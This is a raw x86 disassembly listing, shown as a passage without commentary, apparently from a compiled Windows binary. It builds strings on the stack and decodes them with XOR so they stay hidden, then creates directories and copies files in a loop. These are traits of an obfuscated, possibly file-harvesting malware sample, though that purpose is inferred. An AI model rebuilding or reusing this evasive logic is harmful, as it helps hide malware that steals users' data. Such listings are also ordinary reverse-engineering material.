mov dword [ebp - 0x1c], 0x81a771a3
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x810], eax
mov dword [ebp - 0x80c], ecx
mov dword [ebp - 0x20], 0x7655117
mov dword [ebp - 0x1c], 0xd3bae591
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x808], eax
mov dword [ebp - 0x804], ecx
mov dword [ebp - 0x20], 0xfcb34bbb
mov dword [ebp - 0x1c], 0x1b8a890e
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x800], eax
mov dword [ebp - 0x7fc], ecx
mov dword [ebp - 0x20], 0x23d873d8
mov dword [ebp - 0x1c], 0xaff386e6
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x7f8], eax
mov dword [ebp - 0x7f4], ecx
mov dword [ebp - 0x20], 0xa980d4ad
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x1c], 0xa0df89f8
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x99c738e7
mov dword [ebp - 0x1c], 0x1b8ae46f
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x54], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x20], 0x23d873d8
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x1c], 0xaff386e6
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x810]
xorps xmm1, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0x810], xmm1
movaps xmm1, xmmword [ebp - 0x800]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x810]
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x1250]
xorps xmm1, xmmword [ebp - 0x50]
push eax
movaps xmmword [ebp - 0x800], xmm1
call fcn.00402cf0
mov byte [ebp - 4], 0x48
lea ecx, [ebp - 0x288]
push eax
call fcn.004162c0
mov byte [ebp - 4], 0x47
lea ecx, [ebp - 0x1250]
call fcn.00402df0
cmp dword [ebp - 0x274], 0xf
lea ecx, [ebp - 0x288]
cmova ecx, dword [ebp - 0x288]
call fcn.004e4050
test al, al
je 0x40f2df
sub esp, 0x18
lea eax, [ebp - 0x288]
mov ecx, esp
mov dword [ebp - 0x3c], esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x49
push 1
mov byte [ebp - 4], 0x47
xor dl, dl
lea ecx, [ebp - 0xa48]
call fcn.004c33b0
add esp, 0x1c
mov byte [ebp - 4], 0x4a
mov eax, dword [ebp - 0xa48]
mov ecx, dword [ebp - 0xa44]
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x9c], ecx
cmp eax, ecx
je 0x40ed70
mov byte [ebp - 0x74], 0
nop dword [eax]
push eax
lea ecx, [ebp - 0xa10]
call fcn.004163b0
mov byte [ebp - 4], 0x4b
lea eax, [ebp - 0xd30]
mov dword [ebp - 0x3c], eax
mov byte [ebp - 4], 0x4c
lea eax, [ebp - 0xa10]
cmp dword [ebp - 0x9fc], 0xf
lea ecx, [ebp - 0xd30]
push dword [ebp - 0xa00]
cmova eax, dword [ebp - 0xa10]
push eax
push dword [ebp - 0x74]
call fcn.00429070
mov edi, dword [ebp - 0x38]
add esp, 0xc
or edi, 0x1000
mov dword [ebp - 0x38], edi
mov byte [ebp - 4], 0x4b
and edi, 0xffffefff
mov dword [ebp - 0x38], edi
mov byte [ebp - 4], 0x4e
lea ecx, [ebp - 0xd30]
cmp dword [ebp - 0xd1c], 7
mov eax, dword [ebp - 0xd20]
cmova ecx, dword [ebp - 0xd30]
lea esi, [ecx + eax*2]
mov edx, esi
call fcn.00405640
sub esi, eax
mov dword [ebp - 0xa30], eax
push ecx
lea eax, [ebp - 0xa30]
sar esi, 1
push eax
lea ecx, [ebp - 0xf38]
mov dword [ebp - 0xa2c], esi
call fcn.0041a4f0
lea eax, [ebp - 0xbf8]
or edi, 0x2000
push eax
lea ecx, [ebp - 0xf38]
mov dword [ebp - 0x38], edi
call fcn.00405980
mov byte [ebp - 4], 0x4f
and edi, 0xffffdfff
mov dword [ebp - 0x38], edi
mov byte [ebp - 4], 0x50
lea ecx, [ebp - 0xf38]
call fcn.004188d0
mov dword [ebp - 0x20], 0xc7e6a7de
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x1f0], eax
mov dword [ebp - 0x1ec], ecx
mov dword [ebp - 0x98], 0x61453c76
mov dword [ebp - 0x94], 0xa0df89f8
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x1e8], eax
mov dword [ebp - 0x1e4], ecx
mov dword [ebp - 0x90], 0xa980d4ad
mov dword [ebp - 0x8c], 0xf3c01ed1
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x88], 0x61453c76
mov dword [ebp - 0x84], 0xa0df89f8
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x2c], ecx
mov ecx, dword [ebp - 0x84]
mov dword [ebp - 0x28], eax
movaps xmm1, xmmword [ebp - 0x1f0]
lea edx, [ebp - 0x1f0]
mov dword [ebp - 0x24], ecx
lea ecx, [edx + 1]
xorps xmm1, xmmword [ebp - 0x30]
movaps xmmword [ebp - 0x1f0], xmm1
mov al, byte [edx]
inc edx
test al, al
jne 0x40eb97
sub edx, ecx
lea eax, [ebp - 0x1f0]
cmp dword [ebp - 0xbe4], 0xf
lea ecx, [ebp - 0xbf8]
push edx
cmova ecx, dword [ebp - 0xbf8]
mov edx, dword [ebp - 0xbe8]
push eax
push 0
call fcn.0041c7e0
add esp, 0xc
cmp eax, 0xffffffff
je 0x40ed28
mov dword [ebp - 0xc0], 0xa980d4f1
lea edx, [ebp - 0x738]
mov dword [ebp - 0xbc], 0xf3c01ed1
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0xbc]
mov dword [ebp - 0x4a0], eax
mov dword [ebp - 0x49c], ecx
mov dword [ebp - 0xb8], 0x61453c76
mov dword [ebp - 0xb4], 0xa0df89f8
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0xb4]
mov dword [ebp - 0x498], eax
mov dword [ebp - 0x494], ecx
mov dword [ebp - 0xb0], 0xa980d4ad
mov dword [ebp - 0xac], 0xf3c01ed1
mov eax, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0xac]
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0xa8], 0x61453c76
mov dword [ebp - 0xec], ecx
mov dword [ebp - 0xa4], 0xa0df89f8
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0xa4]
movaps xmm1, xmmword [ebp - 0x4a0]
mov dword [ebp - 0xe8], eax
lea eax, [ebp - 0x4a0]
mov dword [ebp - 0xe4], ecx
lea ecx, [ebp - 0xf50]
xorps xmm1, xmmword [ebp - 0xf0]
push eax
movaps xmmword [ebp - 0x4a0], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x52
lea ecx, [ebp - 0xbf8]
push ecx
mov edx, eax
lea ecx, [ebp - 0x1268]
call fcn.0041ad80
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x53
cmp dword [ecx + 0x14], 0xf
jbe 0x40ecde
mov ecx, dword [ecx]
cmp dword [ebp - 0x9fc], 0xf
lea eax, [ebp - 0xa10]
push 0
cmova eax, dword [ebp - 0xa10]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, eax
mov byte [ebp - 4], 0x52
lea ecx, [ebp - 0x1268]
call fcn.00402df0
mov byte [ebp - 4], 0x50
lea ecx, [ebp - 0xf50]
call fcn.00402df0
test esi, esi
je 0x40ed28
mov byte [ebp - 0x32], 1
mov byte [ebp - 0x31], 1
mov byte [ebp - 4], 0x4d
lea ecx, [ebp - 0xbf8]
call fcn.00402df0
mov byte [ebp - 4], 0x4b
lea ecx, [ebp - 0xd30]
call fcn.004188d0
mov byte [ebp - 4], 0x4a
lea ecx, [ebp - 0xa10]
call fcn.00402df0
mov eax, dword [ebp - 0x7c]
add eax, 0x18
mov dword [ebp - 0x7c], eax
cmp eax, dword [ebp - 0x9c]
jne 0x40ea00
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [ebp - 0x20], 0xc7efb7f1
lea edx, [ebp - 0x288]
mov dword [ebp - 0x1c], 0xf3a777b7
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x4b0], eax
mov dword [ebp - 0x4ac], ecx
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x4a8], eax
mov dword [ebp - 0x4a4], ecx
mov dword [ebp - 0x20], 0xa980d4ad
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x4b0]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x4b0]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xda0]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x4b0], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x55
lea ecx, [ebp - 0xda0]
cmp dword [ebp - 0xd8c], 0xf
cmova ecx, dword [ebp - 0xda0]
call fcn.004e4050
test al, al
je 0x40eef4
mov dword [ebp - 0x20], 0xc7efb7f1
lea edx, [ebp - 0x738]
mov dword [ebp - 0x1c], 0xf3a777b7
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x4c0], eax
mov dword [ebp - 0x4bc], ecx
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x4b8], eax
mov dword [ebp - 0x4b4], ecx
mov dword [ebp - 0x20], 0xa980d4ad
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x4c0]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x4c0]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xf68]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x4c0], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x56
or dword [ebp - 0x38], 1
cmp dword [eax + 0x14], 0xf
jbe 0x40eee7
mov eax, dword [eax]
push 0
push eax
call edi
mov byte [ebp - 0x33], 1
test eax, eax
jne 0x40eef8
mov byte [ebp - 0x33], 0
mov dword [ebp - 4], 0x55
mov eax, dword [ebp - 0x38]
test al, 1
je 0x40ef17
and eax, 0xfffffffe
lea ecx, [ebp - 0xf68]
mov dword [ebp - 0x38], eax
call fcn.00402df0
cmp byte [ebp - 0x33], 0
je 0x40eff7
mov dword [ebp - 0x20], 0xc7efb7f1
lea edx, [ebp - 0x738]
mov dword [ebp - 0x1c], 0xf3a777b7
sub esp, 0x18
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x4d0], eax
mov dword [ebp - 0x4cc], ecx
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x4c8], eax
mov dword [ebp - 0x4c4], ecx
mov dword [ebp - 0x20], 0xa980d4ad
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x4d0]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x4d0]
mov dword [ebp - 0x24], ecx
mov ecx, esp
xorps xmm1, xmmword [ebp - 0x30]
mov dword [ebp - 0x3c], esp
push eax
movaps xmmword [ebp - 0x4d0], xmm1
call fcn.0041ab20
mov byte [ebp - 4], 0x57
sub esp, 0x14
lea eax, [ebp - 0xda0]
mov dword [ebp - 0x74], esp
mov ecx, esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x58
mov byte [ebp - 4], 0x55
xor cl, cl
call fcn.004dd2b0
add esp, 0x30
test eax, eax
jne 0x40eff7
mov byte [ebp - 0x32], 1
mov byte [ebp - 0x31], 1
lea ecx, [ebp - 0x130]
call fcn.0048cb90
mov byte [ebp - 4], 0x59
mov eax, dword [ebp - 0x12c]
sub eax, dword [ebp - 0x130]
sar eax, 3
imul eax, eax, 0xaaaaaaab
test eax, eax
je 0x40f2ac
mov dword [ebp - 0x20], 0xf6f9b1f1
lea edx, [ebp - 0x738]
mov dword [ebp - 0x1c], 0x96ab71a5
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x4e0], eax
mov dword [ebp - 0x4dc], ecx
mov dword [ebp - 0x20], 0x156b4f18
mov dword [ebp - 0x1c], 0xa0dffd80
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x4d8], eax
mov dword [ebp - 0x4d4], ecx
mov dword [ebp - 0x20], 0xa980d4ad
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x4e0]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x4e0]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xea8]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x4e0], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x5a
mov dword [ebp - 0x20], 0xa980b6da
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x4f0], eax
mov dword [ebp - 0x4ec], ecx
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x4e8], eax
mov dword [ebp - 0x4e4], ecx
mov dword [ebp - 0x20], 0xa980d4ad
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
cmp dword [ebp - 0xe94], 0xf
movaps xmm1, xmmword [ebp - 0x4f0]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0xea8]
cmova eax, dword [ebp - 0xea8]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x4f0]
xorps xmm1, xmmword [ebp - 0x30]
push ecx
push eax
movaps xmmword [ebp - 0x4f0], xmm1
call fcn.00439810
add esp, 8
mov dword [ebp - 0x7c], eax
test eax, eax
je 0x40f295
mov ecx, dword [ebp - 0x12c]
xor edi, edi
mov edx, dword [ebp - 0x130]
sub ecx, edx
sar ecx, 3
imul eax, ecx, 0xaaaaaaab
test eax, eax
je 0x40f28a
xor esi, esi
add edx, esi
cmp dword [edx + 0x14], 0xf
jbe 0x40f1aa
mov edx, dword [edx]
mov dword [ebp - 0x20], 0xa38da788
mov dword [ebp - 0x1c], 0xf3c014dc
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x500], eax
mov dword [ebp - 0x4fc], ecx
mov dword [ebp - 0x98], 0x61453c76
mov dword [ebp - 0x94], 0xa0df89f8
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x4f8], eax
mov dword [ebp - 0x4f4], ecx
mov dword [ebp - 0x90], 0xa980d4ad
mov dword [ebp - 0x8c], 0xf3c01ed1
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x88], 0x61453c76
mov dword [ebp - 0x84], 0xa0df89f8
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x500]
mov dword [ebp - 0x2c], ecx
mov ecx, dword [ebp - 0x84]
movaps xmm1, xmmword [ebp - 0x500]
push edx
mov dword [ebp - 0x24], ecx
xorps xmm1, xmmword [ebp - 0x30]
push eax
push dword [ebp - 0x7c]
movaps xmmword [ebp - 0x500], xmm1
call fcn.00403350
mov eax, dword [ebp - 0x12c]
inc edi
mov edx, dword [ebp - 0x130]
add esp, 0xc
sub eax, edx
add esi, 0x18
sar eax, 3
imul eax, eax, 0xaaaaaaab
cmp edi, eax
jb 0x40f1a0
push dword [ebp - 0x7c]
call fcn.0043d098
add esp, 4
mov byte [ebp - 0x32], 1
mov byte [ebp - 0x31], 1
mov byte [ebp - 4], 0x59
lea ecx, [ebp - 0xea8]
call fcn.00402df0
mov byte [ebp - 4], 0x55
lea ecx, [ebp - 0x130]
call fcn.004185d0
mov byte [ebp - 4], 0x4a
lea ecx, [ebp - 0xda0]
call fcn.00402df0
mov byte [ebp - 4], 0x47
lea ecx, [ebp - 0xa48]
call fcn.004185d0
cmp byte [ebp - 0x32], 0
jne 0x40f2ee
push ecx
lea ecx, [ebp - 0x738]
call fcn.004e3b20
add esp, 4
mov byte [ebp - 4], 0x46
lea ecx, [ebp - 0x288]
call fcn.00402df0
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
cmp byte [ebp - 0x31], 0
jne 0x40f318
push ecx
lea ecx, [ebp - 0x1a8]
call fcn.004e3b20
add esp, 4
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0x738]
call fcn.00402df0
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0xd18]
call fcn.00402df0
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0xd00]
call fcn.00402df0
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0xce8]
call fcn.00402df0
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0xcd0]
call fcn.00402df0
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0xa28]
call fcn.00402df0
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0xcb8]
call fcn.00402df0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1a8]
call fcn.00402df0
cmp byte [ebp - 0x7d], 0
je 0x411da6
mov dword [ebp - 0x20], 0xdae599f1
mov edx, 0x583d74
mov dword [ebp - 0x1c], 0x94ae7ba2
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x510], eax
mov dword [ebp - 0x50c], ecx
mov dword [ebp - 0x20], 0x61364e13
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x508], eax
mov dword [ebp - 0x504], ecx
mov dword [ebp - 0x20], 0xa980d4ad
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x510]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x510]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x260]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x510], xmm1
call fcn.0041ab20
add esp, 4
mov dword [ebp - 4], 0x5b
lea eax, [ebp - 0x260]
cmp dword [ebp - 0x24c], 0xf
push 0
cmova eax, dword [ebp - 0x260]
push eax
call edi
test eax, eax
je 0x411d94
mov dword [ebp - 0x20], 0xd0eb87f1
lea edx, [ebp - 0x260]
mov dword [ebp - 0x1c], 0xf3c07ba1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x520], eax
mov dword [ebp - 0x51c], ecx
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x518], eax
mov dword [ebp - 0x514], ecx
mov dword [ebp - 0x20], 0xa980d4ad
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x520]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x520]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xb98]
xorps xmm1, xmmword [ebp - 0x30]
push eax
mov byte [ebp - 0x31], 0
movaps xmmword [ebp - 0x520], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x5c
lea eax, [ebp - 0xb98]
cmp dword [ebp - 0xb84], 0xf
push 0
cmova eax, dword [ebp - 0xb98]
push eax
call edi
test eax, eax
je 0x40f877
mov dword [ebp - 0x20], 0xcae999f1
mov dword [ebp - 0x1c], 0x9cb371a3
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x720], eax
mov dword [ebp - 0x71c], ecx
mov dword [ebp - 0x20], 0x32194810
mov dword [ebp - 0x1c], 0xc5aff093
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x718], eax
mov dword [ebp - 0x714], ecx
mov dword [ebp - 0x20], 0xeba85ec7
mov dword [ebp - 0x1c], 0x68efa04f
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x710], eax
mov dword [ebp - 0x70c], ecx
mov dword [ebp - 0x20], 0x53b707b3
mov dword [ebp - 0x1c], 0xcc9ccaba
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x708], eax
mov dword [ebp - 0x704], ecx
mov dword [ebp - 0x20], 0xe5049e00
mov dword [ebp - 0x1c], 0xb589d301
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x700], eax
mov dword [ebp - 0x6fc], ecx
mov dword [ebp - 0x20], 0x2d77bbcd
mov dword [ebp - 0x1c], 0x6d869c
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x6f8], eax
mov dword [ebp - 0x6f4], ecx
mov dword [ebp - 0x20], 0xa980d4ad
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x1c], 0xa0df89f8
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x6c], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x99c738e7
mov dword [ebp - 0x1c], 0x1b8ae46f
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x64], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x23d873d8
mov dword [ebp - 0x1c], 0xaff386e6
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0xb624f261
mov dword [ebp - 0x1c], 0xd4fbbc75
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x54], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x2d77deaa
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x1c], 0x6d869c
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x4c], ecx
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x720]
xorps xmm1, xmmword [ebp - 0x70]
movaps xmmword [ebp - 0x720], xmm1
movaps xmm1, xmmword [ebp - 0x710]
xorps xmm1, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0x710], xmm1
movaps xmm1, xmmword [ebp - 0x700]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], ecx
xorps xmm1, xmmword [ebp - 0x50]
movaps xmmword [ebp - 0x700], xmm1
xorps xmm0, xmm0
mov dword [ebp - 0x290], 0
lea ecx, [ebp - 0x720]
mov dword [ebp - 0x28c], 0
movups xmmword [ebp - 0x2a0], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f6e8
sub ecx, edx
lea eax, [ebp - 0x720]
push ecx
push eax
lea ecx, [ebp - 0x2a0]
call fcn.00403040
mov byte [ebp - 4], 0x5d
mov dword [ebp - 0x20], 0xedd084ec
mov dword [ebp - 0x1c], 0xf3814a90
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x530], eax
mov dword [ebp - 0x52c], ecx
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x528], eax
mov dword [ebp - 0x524], ecx
mov dword [ebp - 0x20], 0xa980d4ad
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x530]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x530]
mov dword [ebp - 0x24], ecx
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x530], xmm1
call fcn.004423d1
add esp, 4
lea ecx, [ebp - 0x2a0]
mov edx, eax
push ecx
lea ecx, [ebp - 0xdb8]
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x5f
mov eax, dword [ebp - 0x28c]
cmp eax, 0xf
jbe 0x40f7d9
push eax
push dword [ebp - 0x2a0]
lea eax, [ebp - 0x2a0]
push eax
call fcn.00402fe0
add esp, 0xc
cmp dword [ebp - 0xda4], 0xf
lea ecx, [ebp - 0xdb8]
mov dword [ebp - 0x290], 0
cmova ecx, dword [ebp - 0xdb8]
mov dword [ebp - 0x28c], 0xf
mov byte [ebp - 0x2a0], 0
call fcn.004e4050
test al, al
je 0x40f859
sub esp, 0x18
lea eax, [ebp - 0xb98]
mov ecx, esp
mov dword [ebp - 0x3c], esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x60
sub esp, 0x18
lea eax, [ebp - 0xdb8]
mov dword [ebp - 0x74], esp
mov ecx, esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x61
mov byte [ebp - 4], 0x5f
xor cl, cl
call fcn.004dd2b0
add esp, 0x30
test eax, eax
jne 0x40f859
mov byte [ebp - 0x31], 1
jmp 0x40f868
push ecx
lea ecx, [ebp - 0xb98]
call fcn.004e3b20
add esp, 4
mov byte [ebp - 4], 0x5c
lea ecx, [ebp - 0xdb8]
call fcn.00402df0
mov dword [ebp - 0x20], 0xccec91f1
lea edx, [ebp - 0x260]
mov dword [ebp - 0x1c], 0x87ae7bbc
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x540], eax
mov dword [ebp - 0x53c], ecx
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
